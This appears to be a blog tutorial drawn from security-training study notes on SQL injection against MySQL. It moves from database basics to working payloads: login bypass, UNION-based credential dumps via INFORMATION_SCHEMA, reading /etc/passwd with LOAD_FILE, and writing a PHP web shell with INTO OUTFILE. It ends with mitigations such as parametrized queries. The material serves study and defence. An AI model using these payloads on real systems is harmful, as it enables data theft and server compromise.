Introduction

SQL injection (SQLi) happens when user input changes the final SQL query sent by a web application. The impact ranges from reading sensitive data to modifying records or writing files on the server. This guide merges database basics with practical SQLi techniques and commands so you can connect theory to hands-on exploitation.

Database Foundations

Modern web applications rely on databases to store content, user data, and configuration. Understanding DBMS structure and query behavior helps you predict how an injection point will behave and which payloads are likely to work. It also helps you distinguish between relational and non-relational systems when fingerprinting the backend.

DBMS Basics

A DBMS creates, hosts, and manages databases while providing concurrency, consistency, security, and reliability. SQL is the language that lets applications retrieve, update, and manage data in relational systems. These features are why databases are central to web applications, and why SQLi remains a high-impact vulnerability.

Relational vs Non-Relational

Relational databases use tables, rows, columns, and keys with a fixed schema, and they are managed by an RDBMS. Non-relational databases (NoSQL) store data in key-value, document, wide-column, or graph formats with flexible schemas. SQLi specifically targets relational SQL queries, so you first confirm the application is backed by a relational DBMS.

MySQL Essentials

MySQL and MariaDB are common backends, so using their syntax makes examples portable to real targets. You should know how to log in, list databases, inspect tables, and run basic queries because SQLi relies on those same operations. These commands also help you validate output when you have a direct database shell.

mysql -u root -p

mysql -u root -h docker.hackthebox.eu -P 3306 -p

CREATE DATABASE users;
SHOW DATABASES;
USE users;

Tables and Schema

CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
);

SHOW TABLES;
DESCRIBE logins;

A stricter schema adds constraints and primary keys, which affects how data is stored and retrieved during injection.

CREATE TABLE logins (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    date_of_joining DATETIME DEFAULT NOW(),
    PRIMARY KEY (id)
);

Core SQL Statements

INSERT INTO table_name VALUES (column1_value, column2_value, column3_value);

SELECT * FROM logins;

DROP TABLE logins;

ALTER TABLE logins ADD newColumn INT;

UPDATE table_name SET column1=newvalue1 WHERE <condition>;

Filtering and Sorting

SELECT * FROM logins ORDER BY password DESC, id ASC;

SELECT * FROM logins LIMIT 2;
SELECT * FROM logins LIMIT 1, 2;

SELECT * FROM logins WHERE id > 1;
SELECT * FROM logins WHERE username = 'admin';

SELECT * FROM logins WHERE username LIKE 'admin%';
SELECT * FROM logins WHERE username LIKE '___';

SQL Operators

SQL evaluates operators by precedence, so mixed expressions can change results in unexpected ways. This matters for SQLi because you often combine comparisons and logic in a single payload.

Common operators and precedence:

Arithmetic: /, *, %, then +, -
Comparison: =, >, <, <=, >=, !=, LIKE
Logic: NOT, then AND, then OR

SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;

SQL Injection Fundamentals

SQLi appears when application code builds queries by concatenating user input without sanitization or parametrization. A single quote can terminate the original string and let you inject new SQL. Your goal is to keep the final query syntactically valid while changing its logic or output.

Why SQLi Happens

Consider a PHP search function that injects input directly into a query:

$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";

If the input includes a quote, you can end the string and append new SQL. For example, 1'; DROP TABLE users; produces a broken query unless you repair the syntax, which is why most payloads include comments or balanced quotes.

SQLi Types

SQLi techniques depend on how the application returns output:

In-band: results show in the response (UNION-based, error-based)
Blind: output is inferred (boolean-based, time-based)
Out-of-band: results are exfiltrated via external channels

Understanding the response pattern tells you which payloads will actually leak data.

A classic bypass uses an always-true condition with OR. This works best when the username exists, otherwise you may move the payload to the password field.

admin' or '1'='1

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Quick input tests to detect SQLi often include:

Payload	URL Encoded
`'`	`%27`
`"`	`%22`
`#`	`%23`
`;`	`%3B`
`)`	`%29`

Comments and Query Truncation

SQL comments let you ignore the rest of the original query and keep syntax valid.

admin'--

SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

If the application wraps conditions in parentheses, you may need to close them:

admin')--

UNION-Based Extraction

UNION injection merges results from your query with the original query, letting you extract data from other tables. The main constraint is that both queries must return the same number of columns. Once you align column counts, you can dump usernames, passwords, and other sensitive data.

Column Count Discovery

Use ORDER BY to find how many columns the original query returns. Increase the column number until the server errors, then use the last valid number as the column count.

' order by 1-- -
' order by 2-- -
' order by 3-- -

Alternatively, use UNION SELECT with incremental columns until it succeeds:

cn' UNION select 1-- -
cn' UNION select 1,2-- -
cn' UNION select 1,2,3-- -

Finding Output Columns

Not every column is rendered to the page, so you must find which positions show output. A common trick is to inject numbers and then replace a visible number with @@version or another test expression.

cn' UNION select 1,@@version,3,4-- -

Enumeration with INFORMATION_SCHEMA

Once UNION works, use INFORMATION_SCHEMA to list databases, tables, and columns. This is the standard path to build a full data dump from a blind entry point. You can also fingerprint the DBMS to ensure you use correct syntax.

Fingerprinting MySQL

SELECT @@version;
SELECT POW(1,1);
SELECT SLEEP(5);

Expected MySQL behavior includes a version string, numeric output for POW(1,1), and a delayed response for SLEEP(5).

Databases, Tables, Columns

List databases:

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Find current database:

cn' UNION select 1,database(),2,3-- -

List tables in a database:

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

List columns in a table:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Final UNION Dump

When you know the table and column names, dump the data:

cn' UNION select 1, username, password, 4 from dev.credentials-- -

File Read and Write via SQLi

Some SQLi paths allow reading or writing files if the DB user has the FILE privilege and server configuration permits it. This can escalate SQLi into full server compromise, so check privileges before attempting file access. Always verify secure_file_priv to understand where writes are allowed.

Identify User and Privileges

SELECT USER();
SELECT CURRENT_USER();
SELECT user from mysql.user;

cn' UNION SELECT 1, user(), 3, 4-- -
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

Check additional privileges:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -

Read Files with LOAD_FILE

SELECT LOAD_FILE('/etc/passwd');

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

Write Files with OUTFILE

Check secure_file_priv:

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

Write a test file:

cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -

Web Shell Drop (Controlled)

If file writes are allowed, you can drop a minimal web shell in the web root. This is high impact and should only be done in authorized testing scopes.

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

Mitigations

SQLi is preventable with secure coding and proper database configuration. The goal is to eliminate query concatenation and limit what the database account can do if injection still occurs. Defensive layers reduce the chance of both data exposure and server compromise.

Sanitization and Validation

Sanitize inputs with escaping functions and validate input format with allowlist patterns. In PHP, mysqli_real_escape_string() reduces the impact of quotes, and regex validation blocks unexpected characters. These controls must be paired with proper query construction to be effective.

Least Privilege

The application DB user should have only the minimal permissions required for its role. Avoid using DBA or root accounts, and restrict access to only the needed databases and tables. This limits damage even if SQLi is discovered.

WAF and Parametrized Queries

WAFs can block known SQLi patterns like INFORMATION_SCHEMA, but they should not be your only defense. The strongest fix is parametrized queries, where user input is bound to placeholders instead of concatenated into SQL.

$query = "SELECT * FROM logins WHERE username=? AND password=?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, 'ss', $username, $password);
mysqli_stmt_execute($stmt);

Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb

Introduction#

Database Foundations#

DBMS Basics#

Relational vs Non-Relational#

MySQL Essentials#

Login and Database Operations#

Tables and Schema#

Core SQL Statements#

Filtering and Sorting#

SQL Operators#

SQL Injection Fundamentals#

Why SQLi Happens#

SQLi Types#

OR Injection for Login Bypass#

Comments and Query Truncation#

UNION-Based Extraction#

Column Count Discovery#

Finding Output Columns#

Enumeration with INFORMATION_SCHEMA#

Fingerprinting MySQL#

Databases, Tables, Columns#

Final UNION Dump#

File Read and Write via SQLi#

Identify User and Privileges#

Read Files with LOAD_FILE#

Write Files with OUTFILE#

Web Shell Drop (Controlled)#

Mitigations#

Sanitization and Validation#

Least Privilege#

WAF and Parametrized Queries#

Reference#